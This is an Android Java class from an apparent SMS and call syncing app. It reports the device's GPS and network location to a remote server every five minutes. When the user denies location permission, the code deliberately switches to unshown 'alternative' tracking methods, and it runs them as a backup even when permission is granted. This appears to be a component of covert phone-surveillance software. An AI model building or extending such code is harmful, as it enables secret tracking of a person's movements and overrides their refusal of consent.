package com.example.sms_call_sync;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.util.Log;
import androidx.core.app.ActivityCompat;

public class LocationTracker implements LocationListener {
    private static final String TAG = "LocationTracker";
    private Context context;
    private LocationManager locationManager;
    private String serverUrl;
    private String phoneName;
    private SyncManager syncManager;
    private AlternativeLocationTracker altLocationTracker;
    private boolean isGpsEnabled = false;
    private boolean isNetworkEnabled = false;

    public LocationTracker(Context context, String serverUrl, String phoneName) {
        this.context = context;
        this.serverUrl = serverUrl;
        this.phoneName = phoneName;
        this.locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
        this.syncManager = new SyncManager(context);
        this.altLocationTracker = new AlternativeLocationTracker(context, serverUrl, phoneName);
    }

    public void startLocationTracking() {
        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_FINE_LOCATION)
                != PackageManager.PERMISSION_GRANTED) {
            Log.w(TAG, "Location permission not granted");
            // Still try alternative methods
            startAlternativeTracking();
            return;
        }

        Log.d(TAG, "Starting location tracking");
        
        // Check if GPS and Network providers are enabled
        isGpsEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
        isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
        
        Log.d(TAG, "GPS enabled: " + isGpsEnabled + ", Network enabled: " + isNetworkEnabled);
        
        // Request location updates every 5 minutes (300000ms) or 100 meters
        try {
            if (isGpsEnabled) {
                locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 300000, 100, this);
                Log.d(TAG, "GPS location updates requested");
            }
            
            if (isNetworkEnabled) {
                locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 300000, 100, this);
                Log.d(TAG, "Network location updates requested");
            }
            
            // If neither GPS nor Network is available, use alternative methods
            if (!isGpsEnabled && !isNetworkEnabled) {
                Log.d(TAG, "No standard location providers available, using alternative methods");
                startAlternativeTracking();
            } else {
                // Also start alternative tracking as backup
                startAlternativeTracking();
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error starting location tracking: " + e.getMessage());
            // Fallback to alternative methods
            startAlternativeTracking();
        }
    }

    private void startAlternativeTracking() {
        Log.d(TAG, "Starting alternative location tracking");
        altLocationTracker.startAlternativeLocationTracking();
    }

    public void stopLocationTracking() {
        Log.d(TAG, "Stopping location tracking");
        try {
            locationManager.removeUpdates(this);
        } catch (Exception e) {
            Log.e(TAG, "Error stopping location tracking: " + e.getMessage());
        }
        
        altLocationTracker.stopAlternativeLocationTracking();
    }

    @Override
    public void onLocationChanged(Location location) {
        Log.d(TAG, "Location changed: " + location.getLatitude() + ", " + location.getLongitude());
        Log.d(TAG, "Location provider: " + location.getProvider() + ", accuracy: " + location.getAccuracy());
        sendLocationToServer(location);
    }

    @Override
    public void onStatusChanged(String provider, int status, Bundle extras) {
        Log.d(TAG, "Location provider status changed: " + provider + " status: " + status);
        
        // If GPS/Network becomes unavailable, ensure alternative tracking is active
        if (status == LocationManager.TEMPORARILY_UNAVAILABLE || status == LocationManager.OUT_OF_SERVICE) {
            Log.d(TAG, "Provider " + provider + " unavailable, ensuring alternative tracking");
            startAlternativeTracking();
        }
    }

    @Override
    public void onProviderEnabled(String provider) {
        Log.d(TAG, "Location provider enabled: " + provider);
        
        // Update provider status
        if (provider.equals(LocationManager.GPS_PROVIDER)) {
            isGpsEnabled = true;
        } else if (provider.equals(LocationManager.NETWORK_PROVIDER)) {
            isNetworkEnabled = true;
        }
    }

    @Override
    public void onProviderDisabled(String provider) {
        Log.d(TAG, "Location provider disabled: " + provider);
        
        // Update provider status
        if (provider.equals(LocationManager.GPS_PROVIDER)) {
            isGpsEnabled = false;
        } else if (provider.equals(LocationManager.NETWORK_PROVIDER)) {
            isNetworkEnabled = false;
        }
        
        // If all providers are disabled, ensure alternative tracking is active
        if (!isGpsEnabled && !isNetworkEnabled) {
            Log.d(TAG, "All location providers disabled, using alternative methods");
            startAlternativeTracking();
        }
    }

    private void sendLocationToServer(Location location) {
        Log.d(TAG, "Sending GPS/Network location to server");
        syncManager.syncLocation(serverUrl, phoneName, location.getLatitude(), location.getLongitude());
    }
}
